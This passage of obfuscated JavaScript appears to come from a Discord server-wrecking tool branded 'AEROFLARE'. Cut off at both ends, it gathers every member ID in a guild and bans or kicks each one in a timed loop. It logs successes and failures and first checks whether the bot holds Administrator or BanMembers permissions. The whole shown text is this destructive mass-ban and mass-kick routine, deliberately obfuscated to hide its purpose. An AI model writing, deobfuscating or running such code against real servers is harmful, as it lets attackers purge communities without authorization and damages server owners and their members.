: _0x2a492b['members']['cache'][_0x185c46(0xe4)](function (
_0xe01ced
) {
return _0xe01ced['id'];
});
_0x3ea74f &&
_0x39813a[_0x185c46(0x107)](
_0x185c46(0x83)[_0x185c46(0xfd)](
_0x3ea74f[_0x185c46(0x7d)],
_0x185c46(0xda)
)
)[_0x185c46(0x92)](function (_0x52e4e3) {
setTimeout(function () {
var _0xbe1bfc = _0x4b26,
_0x1475f7;
_0x52e4e3['edit'](_0xbe1bfc(0xe2));
var _0x17f8cf = function (_0x482942) {
var _0x276bb2 = _0xbe1bfc,
_0xd1e666 = _0x3ea74f[_0x482942],
_0x4e79a0 =
(_0x1475f7 =
_0x39813a === null || _0x39813a === void 0x0
? void 0x0
: _0x39813a[_0x276bb2(0x10b)]) === null ||
_0x1475f7 === void 0x0
? void 0x0
: _0x1475f7['members'][_0x276bb2(0xc8)]['get'](_0xd1e666);
_0x4e79a0 === null || _0x4e79a0 === void 0x0
? void 0x0
: _0x4e79a0[_0x276bb2(0x74)]()
['then'](function () {
var _0x3c36ee = _0x276bb2;
console[_0x3c36ee(0x106)](
chalk_1['default'][_0x3c36ee(0xf4)](
'[AEROFLARE]\x20|\x20'
) +
chalk_1[_0x3c36ee(0x98)]['green'](_0x3c36ee(0x7f)) +
chalk_1[_0x3c36ee(0x98)][_0x3c36ee(0x72)](
_0x4e79a0[_0x3c36ee(0x99)][_0x3c36ee(0xa7)]
)
);
})
[_0x276bb2(0xe9)](function (_0x114fa5) {
var _0x4f0adc = _0x276bb2;
console[_0x4f0adc(0x116)](
chalk_1[_0x4f0adc(0x98)][_0x4f0adc(0x109)](
_0x4f0adc(0xa6)
) +
chalk_1[_0x4f0adc(0x98)][_0x4f0adc(0x109)](
'❌\x20FAILED\x20BAN\x20|\x20'
) +
chalk_1[_0x4f0adc(0x98)][_0x4f0adc(0x72)](
''[_0x4f0adc(0xfd)](
_0x4e79a0['user']['tag'],
'\x20|\x20'
)
) +
chalk_1[_0x4f0adc(0x98)][_0x4f0adc(0xbd)](_0x114fa5)
);
});
};
for (
var _0x38fe54 = 0x0;
_0x38fe54 < _0x3ea74f[_0xbe1bfc(0x7d)];
_0x38fe54++
) {
_0x17f8cf(_0x38fe54);
}
}, 0x7d0);
}),
_0x3a349d();
});
}
function _0x526b84() {
return new Promise(function (_0x3cbde3, _0x50acb9) {
var _0x18911e = _0x4b26,
_0xdd81d9;
if (!_0x2a7a21)
return console[_0x18911e(0x106)](
chalk_1[_0x18911e(0x98)][_0x18911e(0xf4)](_0x18911e(0xa6)) +
chalk_1[_0x18911e(0x98)][_0x18911e(0x109)](
'❌\x20FAILED\x20|\x20'
) +
chalk_1[_0x18911e(0x98)][_0x18911e(0x72)](_0x18911e(0xe8))
);
var _0x4bfe87 =
(_0xdd81d9 =
_0x39813a === null || _0x39813a === void 0x0
? void 0x0
: _0x39813a['guild']) === null || _0xdd81d9 === void 0x0
? void 0x0
: _0xdd81d9[_0x18911e(0xff)][_0x18911e(0xc8)][_0x18911e(0xe4)](
function (_0x1eb61c) {
return _0x1eb61c['id'];
}
);
_0x4bfe87 &&
(_0x39813a === null || _0x39813a === void 0x0
? void 0x0
: _0x39813a[_0x18911e(0x107)](
'-\x20Found\x20'[_0x18911e(0xfd)](
_0x4bfe87[_0x18911e(0x7d)],
_0x18911e(0xda)
)
)['then'](function (_0x543d79) {
setTimeout(function () {
var _0x36aa5c = _0x4b26,
_0x33e2f7;
_0x543d79['edit']('-\x20Kicking\x20in\x20progress.');
var _0x3dda63 = function (_0x61d1fc) {
var _0x5a88dd = _0x4b26,
_0x5d1118 = _0x4bfe87[_0x61d1fc],
_0x177887 =
(_0x33e2f7 =
_0x39813a === null || _0x39813a === void 0x0
? void 0x0
: _0x39813a[_0x5a88dd(0x10b)]) === null ||
_0x33e2f7 === void 0x0
? void 0x0
: _0x33e2f7[_0x5a88dd(0xff)][_0x5a88dd(0xc8)][
_0x5a88dd(0xfc)
](_0x5d1118);
_0x177887 === null || _0x177887 === void 0x0
? void 0x0
: _0x177887[_0x5a88dd(0x6f)]()
[_0x5a88dd(0x92)](function () {
var _0x499eeb = _0x5a88dd;
console['log'](
chalk_1['default'][_0x499eeb(0xf4)](
'[AEROFLARE]\x20|\x20'
) +
chalk_1[_0x499eeb(0x98)][_0x499eeb(0x86)](
_0x499eeb(0xe1)
) +
chalk_1['default'][_0x499eeb(0x72)](
_0x177887[_0x499eeb(0x99)][_0x499eeb(0xa7)]
)
);
})
[_0x5a88dd(0xe9)](function (_0x3fe664) {
var _0x4abd7e = _0x5a88dd;
console[_0x4abd7e(0x116)](
chalk_1['default'][_0x4abd7e(0x109)](
_0x4abd7e(0xa6)
) +
chalk_1[_0x4abd7e(0x98)][_0x4abd7e(0x109)](
'❌\x20FAILED\x20KICK\x20|\x20'
) +
chalk_1[_0x4abd7e(0x98)]['white'](
''[_0x4abd7e(0xfd)](
_0x177887['user']['tag'],
_0x4abd7e(0x10c)
)
) +
chalk_1[_0x4abd7e(0x98)][_0x4abd7e(0xbd)](
_0x3fe664
)
);
});
};
for (
var _0x534e05 = 0x0;
_0x534e05 < _0x4bfe87[_0x36aa5c(0x7d)];
_0x534e05++
) {
_0x3dda63(_0x534e05);
}
}, 0x7d0);
})),
_0x3cbde3();
});
}
var _0x42c64f,
_0x4174da,
_0x2a7a21,
_0x3f36c5,
_0x14a54e,
_0x476beb,
_0x147968,
_0x2b2906,
_0x45b386,
_0x3066ee,
_0x2599fb,
_0x157445,
_0x9a9a6a,
_0x2599fb,
_0x157445,
_0x41a1e5,
_0x1126ea,
_0x1b3d1c,
_0x24d70e,
_0x2618fd,
_0x617f2a,
_0xe4b8c4,
_0x4a1e0a,
_0x1f1062,
_0x1ebdcb,
_0x27fc0b,
_0x4b1d21,
_0x4bc3ed,
_0x57e701,
_0x598644;
return __generator(this, function (_0x1eae8a) {
var _0x2b4acd = _0x4b26;
return (
(_0x42c64f =
(_0x1b3d1c =
(_0x1126ea =
(_0x41a1e5 =
_0x39813a === null || _0x39813a === void 0x0
? void 0x0
: _0x39813a[_0x2b4acd(0x10b)]) === null ||
_0x41a1e5 === void 0x0
? void 0x0
: _0x41a1e5[_0x2b4acd(0xff)]) === null || _0x1126ea === void 0x0
? void 0x0
: _0x1126ea['me']) === null || _0x1b3d1c === void 0x0
? void 0x0
: _0x1b3d1c[_0x2b4acd(0xa2)][_0x2b4acd(0xb7)](
discord_js_1[_0x2b4acd(0xdc)]['Flags']['Administrator'] ||
discord_js_1['PermissionsBitField'][_0x2b4acd(0xbb)][
_0x2b4acd(0x97)
]
)),
(_0x4174da =
(_0x617f2a =
(_0x2618fd =
(_0x24d70e =
_0x39813a === null || _0x39813a === void 0x0
? void 0x0
: _0x39813a[_0x2b4acd(0x10b)]) === null ||
_0x24d70e === void 0x0
? void 0x0
: _0x24d70e[_0x2b4acd(0xff)]) === null || _0x2618fd === void 0x0
? void 0x0
: _0x2618fd['me']) === null || _0x617f2a === void 0x0
? void 0x0
: _0x617f2a[_0x2b4acd(0xa2)][_0x2b4acd(0xb7)](
discord_js_1[_0x2b4acd(0xdc)][_0x2b4acd(0xbb)]['BanMembers'] ||
discord_js_1[_0x2b4acd(0xdc)][_0x2b4acd(0xbb)][
'Administrator'
]
)),
(_0x2a7a21 =
(_0x1f1062 =
(_0x4a1e0a =
(_0xe4b8c4 =
_0x39813a === null || _0x39813a === void 0x0
? void 0x0
: _0x39813a[_0x2b4acd(0x10b)]) === null ||
_0xe4b8c4 === void 0x0
? void 0x0
: _0xe4b8c4['members']) === null || _0x4a1e0a === void 0x0
? void 0x0
: _0x4a1e0a['me']) === null || _0x1f1062 === void 0x0
? void 0x0
: _0x1f1062[_0x2b4acd(0xa2)][_0x2b4acd(0xb7)](
discord_js_1[_0x2b4acd(0xdc)][_0x2b4acd(0xbb)][
_0x2b4acd(0xed)
] ||
discord_js_1['PermissionsBitField']['Flags'][_0x2b4acd(0xf6)]
)),
(_0x3f36c5 =
(_0x4b1d21 =
(_0x27fc0b =